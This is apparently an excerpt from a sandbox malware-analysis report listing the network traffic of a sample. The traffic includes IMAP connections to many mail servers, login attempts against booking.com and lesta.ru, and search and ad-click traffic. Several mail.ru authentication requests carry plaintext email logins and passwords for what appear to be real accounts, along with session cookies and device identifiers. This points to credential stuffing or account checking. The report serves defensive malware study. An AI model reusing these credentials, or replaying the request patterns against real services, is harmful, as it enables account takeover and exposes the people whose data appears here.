Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 1002

Source: global traffic	TCP traffic: 192.168.2.6:49709 -> 195.62.52.164:1001
Source: global traffic	TCP traffic: 192.168.2.6:49755 -> 217.74.64.236:993
Source: global traffic	TCP traffic: 192.168.2.6:49778 -> 182.248.170.98:993
Source: global traffic	TCP traffic: 192.168.2.6:49818 -> 212.227.17.186:993
Source: global traffic	TCP traffic: 192.168.2.6:49835 -> 40.99.149.210:993
Source: global traffic	TCP traffic: 192.168.2.6:49902 -> 212.227.17.170:993
Source: global traffic	TCP traffic: 192.168.2.6:49913 -> 77.222.22.101:993
Source: global traffic	TCP traffic: 192.168.2.6:49962 -> 84.116.6.22:993
Source: global traffic	TCP traffic: 192.168.2.6:49983 -> 52.98.179.34:993
Source: global traffic	TCP traffic: 192.168.2.6:50071 -> 194.126.4.58:993
Source: global traffic	TCP traffic: 192.168.2.6:50215 -> 87.248.103.8:993

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Antoinette HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Aldrin HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Julie HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Behnaz HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: POST /cgi-bin/auth HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Youssef HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: POST /cgi-bin/auth HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /cgi-bin/auth?Password=668600&Login=studenko_1992@mail.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=04251FEA51A7532114D68C8214239A03&client=mobile&playservices=5785264&connectid=87F82A91982C1632B3A51B9147515638&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-5663382950293237662&current=google&first=google&md5_signature=8F183FA65166AC4E8094BBCDE2FEF55B HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Syed HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Mateo HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: POST /cgi-bin/auth HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Paul HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /cgi-bin/auth?Password=rrdidnnk&Login=oshapov-rostislz1984c@bk.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=CBF51E2BE450C8D4DCEA05A9EB2A210B&client=mobile&playservices=3137971&connectid=6018455ACEBD719B10CA8663D7D30B76&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-2001876048883877051&current=google&first=google&md5_signature=68A2ADE3800A2B122D3CDB390E887DE0 HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /cgi-bin/auth?Password=7090980&Login=dimon-nk@bk.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=F20B2E7D1B97022C9A016E1975615F93&client=mobile&playservices=5785264&connectid=CA937473C56C30761877F64EA231685D&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-2001876048883877051&current=google&first=google&md5_signature=2FDD407E0B1B4AFCD4E53954D0B9AD4F HTTP/1.1

Source: Joe Sandbox View	IP Address: 66.218.84.137 66.218.84.137
Source: Joe Sandbox View	IP Address: 23.194.234.100 23.194.234.100

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View	JA3 fingerprint: fed8d14fc5a67b40cd470ba239019785
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

TCP traffic: 192.168.2.6:49708 -> 67.195.228.109:25

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?q=e+k+marine&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36Cookie: CONSENT=YES+US.enReferer: https://www.google.com/Connection: closesec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="102"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /search?p=HSA+Administrator&fr=sfp&fr2=sb-top-us.search&iscqry=&vc=us HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1YoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFD2vQ63Vl9sorb0xXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&vc=us&fr=sfp&fr2=sb-top-us.search&b=8&pz=7&bct=0&pstart=2 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=1&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226896&ltv_c=1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?q=ford+bronco+custom+2021&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36Cookie: CONSENT=YES+US.enReferer: https://www.google.com/Connection: closesec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="102"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 83User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFGC7U63Vlv5srJn1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=15&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=2&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226900&ltv_c=2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFGC7Y63VlsVUr.fpXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=22&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226904&ltv_c=3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNOavc63Vl6bIrn71XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=29&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226908&ltv_c=4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 OPR/75.0.3969.149accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=Awrhdprg63VlPJorTTtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=36&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226912&ltv_c=5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEohTk63VlsLUFqL9XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=43&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226916&ltv_c=6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNYATt63VlYIcr9nRXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=50&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226925&ltv_c=7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /searchads/link/click?lid=43700075290420019&ds_s_kwgid=58700008283701479&ds_a_cid=46740138&ds_a_caid=18700621405&ds_a_agid=144724770125&ds_a_fiid=&ds_a_lid=kwd-298208513160&ds_a_extid=&&ds_e_adid=649129367969&ds_e_matchtype=search&ds_e_device=c&ds_e_network=g&&ds_url_v=2&dc_eps=AHas8cAsEcTqgo4hYlrs9u8BuyLKVvQyrF34mvr5GeFfDKlbIOBkopK-11uDn15QdF0FRdIepgPACbkjpg&ds_dest_url=https://www.botoxchronicmigraine.com/find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclsrc=aw.ds&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE HTTP/1.1Host: ad.doubleclick.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFcojy63VlKeMrXMtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=57&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226930&ltv_c=8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE&gclsrc=aw.ds HTTP/1.1Host: www.botoxchronicmigraine.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 YaBrowser/18.3.1.1232 Yowser/2.5 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /aclk?sa=l&ai=DChcSEwiOrbXzqIWDAxWHGaIDHcVgBq0YABACGgJsZQ&ae=2&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&sig=AOD64_33JdWE39KHle-C0tq23pyDLE09pA&adurl=&q= HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateCookie: AEC=Ackid1RaEnBZU8Puf8LxhPwF984o7wSrUFPE0sp8oNRbAgoRZ9E4vwrZdTg; NID=511=upr0-7dS1MUDhf2w8zGjxN_v0cC_k77MLSPS247f1W3AoK3GkG3VJVmmQkkVQaSiiXcOM4JJF24Pe6HkW-XoPMEC33Owu2G05WkVAC-XAQGletXI5JAVMM4P7QunK-JnJhvEujUT780I7vCDcz3ZJnuk7XToVPdotEWbQoM-FUIAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFaJX263VlWeErinFXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=64&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226934&ltv_c=9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /id/signin/process/?type=captcha HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=JLDo3ISuLxosFabMLPq9Ga6miWuKi4NEQ4bqqssaM5XrsGmXvJweUWtyjAEn94X4; wgni_sessionid=so02wrzv9qxvu2ppaksun8ecncqv9fciUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.60 YaBrowser/20.12.0.966 Yowser/2.5 Safari/537.36Content-Length: 109Content-Type: application/x-www-form-urlencodedaccept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://lesta.ru/id/signin/x-csrftoken: JLDo3ISuLxosFabMLPq9Ga6miWuKi4NEQ4bqqssaM5XrsGmXvJweUWtyjAEn94X4x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrigfX663VlKMErmFdXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=71&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226939&ltv_c=10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
